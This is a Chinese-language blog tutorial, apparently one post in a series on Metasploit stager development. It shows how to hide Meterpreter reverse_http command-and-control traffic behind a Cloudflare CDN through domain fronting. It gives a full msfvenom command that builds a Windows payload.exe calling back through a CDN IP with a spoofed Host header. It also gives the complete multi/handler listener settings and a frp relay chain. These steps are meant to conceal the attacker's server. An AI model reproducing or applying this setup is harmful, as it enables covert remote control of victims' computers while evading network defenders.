msf 中使用域前置技术隐藏流量

前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这篇文章只是半埋上我之前挖的一个坑,关于域前置技术如何在 msf 中进行应用。

域前置技术介绍

域前置技术(Domain-Fronting)顾名思义,把域名放在前面,流量的前面,那么我们应该如何做到这件事情,这个一般就是利用各大 cdn 服务了。

cdn 技术我不用做过多介绍,相信大家给自己的网站上 cdn 都会上,简略来说原理的话,在域名注册商那里把 ns 记录,也就是 dns 解析服务器指向到你选择的 cdn 服务商,然后 cdn 就可以接管你的域名解析了,通过不同的缓存分流策略,把流量经过他的服务器后再转发给我们自己,也就是 cdn 后面的真实ip我们是不容易找到的。

那么应用到 C2 上,我们 C2 服务器也可以挂在 cdn 后面,流量通过 cdn 转发回来。

具体更为详细的介绍可以参见 红队行动之鱼叉攻击-倾旋

基础配置

首先不管怎样你需要有一个服务器,以及一个加了 cdn 的域名执行你服务器

这里我假设我们持有的域名为 test.akkuman.com,域名配好 cdn 指向的服务器是 1.1.1.1

这里你是把服务器架在 msf 上面还是内网穿透打通端口,这个看自己喜好

我这里是 msf 位于其他地方 2.2.2.2,然后 2.2.2.2 的 5555 端口通过 frp 映射到 1.1.1.1 的 80 端口上。

5555 端口是我们待会 msf 监听的端口,80 端口是因为访问域名,http 协议,访问80。

因为这些流量会通过 cdn 先转发到我们主机上的 80 端口,然后 80 端口上的流量会通过 frp 处理后送到我们本机监听的 5555 端口上。

生成 msf payload

基础一些配置做好之后,我们可以生成 payload 了。

首先我们需要得到一个 cdn 的 ip,因为 cdn 是依靠 http header 中的 Host 头进行流量转发的,所以我们只需要 ping 一下我们加了 cdn 的域名即可获得一个 ip,这里我是用的 cloudflare,获得的一个 ip 为 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

这里 LHOST 为我们获取的 cdn ip,因为是 http 协议的 payload,访问域名是访问 80 端口,LPORT 我们设置为 80

HttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头,还记得我们刚才说的 cdn 如何识别域名进行流量转发吗,这个就主要是为了 cdn 能够把流量转回到我们自己的服务器

创建监听器

msf 在监听中有一些配置需要说明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址,即第二阶段会回连到这个 ip

  • lport 为给 payload 返回第二阶段载荷时填入的 port,即第二阶段会回连到这个端口

  • HttpHostHeader 前面说过,是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头

  • OverrideRequestHost 这个选项需要设置为 true,主要是因为 msf 的历史原因,msf 默认是使用传入请求 http header 中的 Host 字段来作为第二阶段的配置,也就是第二阶段会采用建立连接时传入请求的 Host,这种默认行为在大多数请求下没问题,具体可以自行测试,具体是需要 cdn 回连到我们真实 ip 时传递的域名是我们想要的,这个参数设置为 true 可以让 msf 忽略传入请求的 Host 头,而使用我们在 HttpHostHeader 中设置的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是因为我的环境问题,我是通过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那么 duck 不必这么做,直接监听 80 就好

ReverseListenerBindAddress 这个参数其实设置不设置都没关系,但是不设置的话会有个小报错,

[-] Handler failed to bind to 172.67.207.124:80

这是因为 handler 无法将 cdn 的 ip 绑定到LHOST,因为这个 ip 在我们服务器上不存在,绑定失败就会提示这个,然后继续绑定 0.0.0.0。如果想要在界面上不显示这个错误,需要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的

可以看到,当我们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是希望监听 80 的,而 1.1.1.1:80 上面的流量是转发到我们服务器 (2.2.2.2) 本机的 5555 端口上的。

所以我们的监听程序实际上需要监听在 5555 端口上,所以需要设置 ReverseListenerBindPort 参数

上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。

实际效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:随机端口] <-> 127.0.0.1:5555

可以看到不管是请求第二阶段还是后续的心跳包,都是有带上 Host 头,流经 cdn 服务器的,这样我们就达到了隐藏自身的效果

那么 msf 会话这边呢

可以看到,也是可以正常使用的

msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量的更多相关文章

  1. msf stagers开发不完全指北(二)

    采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang ...

  2. msf stagers开发不完全指北(一)

    采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stag ...

  3. 微信小程序云开发不完全指北

    微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...

  4. ThinkPHP 3.2.x 集成极光推送指北

    3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...

  5. c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)

    c#封装DBHelper类   public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...

  6. [转] iOS开发者的Weex伪最佳实践指北

    [From] http://www.cocoachina.com/ios/20170601/19404.html 引子 这篇文章是笔者近期关于Weex在iOS端的一些研究和实践心得,和大家一起分享分享 ...

  7. VMware Workstation 安装以及Linux虚拟机安装 指北

    最近有挺多小伙伴跟我说起虚拟机这个东西,所以,今天就给大家写一篇虚拟机安装使用指北吧. 虚拟机(英语:virtual machine),在计算机科学中的体系结构里,是指一种特殊的软件,可以在计算机平台 ...

  8. ASP.Net MVC开发基础学习笔记:四、校验、AJAX与过滤器

    一.校验 — 表单不是你想提想提就能提 1.1 DataAnnotations(数据注解) 位于 System.ComponentModel.DataAnnotations 命名空间中的特性指定对数据 ...

  9. Python 简单入门指北(二)

    Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...

随机推荐

  1. Jmeter服务器监控技术

    meter-plugins.org推出了全新的Plugins Manager,对于其提供的插件进行了集中的管理, 将 ServerAgent-xxx.jar上传被测服务器解压 进入目录 ServerA ...

  2. Typescript的interface、class和abstract class

    interface,class,和abstract class这3个概念,既有联系,又有区别,本文尝试着结合官方文档来阐述这三者之间的关系. 1. Declaration Merging Declar ...

  3. 虹软人脸识别——官方 Qt Demo 移植到 Linux

    一.前言 最近需要在 Linux 平台下开发一个人脸识别相关的应用,用到了虹软的人脸识别 SDK.之前在 Windows 平台用过,感觉不错,SDK 里面还带了 Demo 可以快速看到效果.打开 Li ...

  4. 第十章:RDB持久化

    RDB 保存命令 save 命令,阻塞 Redis 服务器进程,直到保存动作完成: bgsave 命令,派生出一个子进程来完成保存动作: 载入命令 Redis 没有载入 RDB 文件的命令,载入动作在 ...

  5. vue指令,实例成员,父子组件传参

    v-once指令 """ v-once:单独使用,限制的标签内容一旦赋值,便不可被动更改(如果是输入框,可以主动修改) """ <di ...

  6. Docker 基础知识 - Docker 概述

    Docker 是一个开发.发布和运行应用程序的开放平台.Docker使您能够将应用程序与基础架构分离,以便快速交付软件.有了 Docker,你可以像管理应用程序一样管理你的基础设施.通过利用 Dock ...

  7. Selenium+java - Edge浏览器启动

    写在前面 随着win10系统的普及,使得Edge浏览器得到广泛使用.从自动化角度看,自然微软也一直不断提供着支持服务,系统版本更新,对应的Edge浏览器版本也在更新,当然对应的驱动版本也会发生变化. ...

  8. Java使用IO流读取TXT文件

    通过BufferedReader读取TXT文件window系统默认的编码是GBK,而IDE的编码多数为UTF-8,如果没有规定new InputStreamReader(new FileInputSt ...

  9. 前端丨如何使用 tcb-js-sdk 实现图片上传功能

    前言 tcb-js-sdk 让开发者可以在网页端使用 JavaScript 代码服务访问云开发的服务,以轻松构建自己的公众号页面或者独立的网站等 Web 服务.本文将以实现图片上传功能为例,介绍 tc ...

  10. Python-发送邮件验证码

    前言 ​ 关于 Python 这个栏目,咕了几个月了,今天讲讲如何发送验证码并验证. ​ 因为部分原因,写这篇文章的时候心情是不太好的,播放首歌吧. 代码 导入 导入yagmail,random和ti ...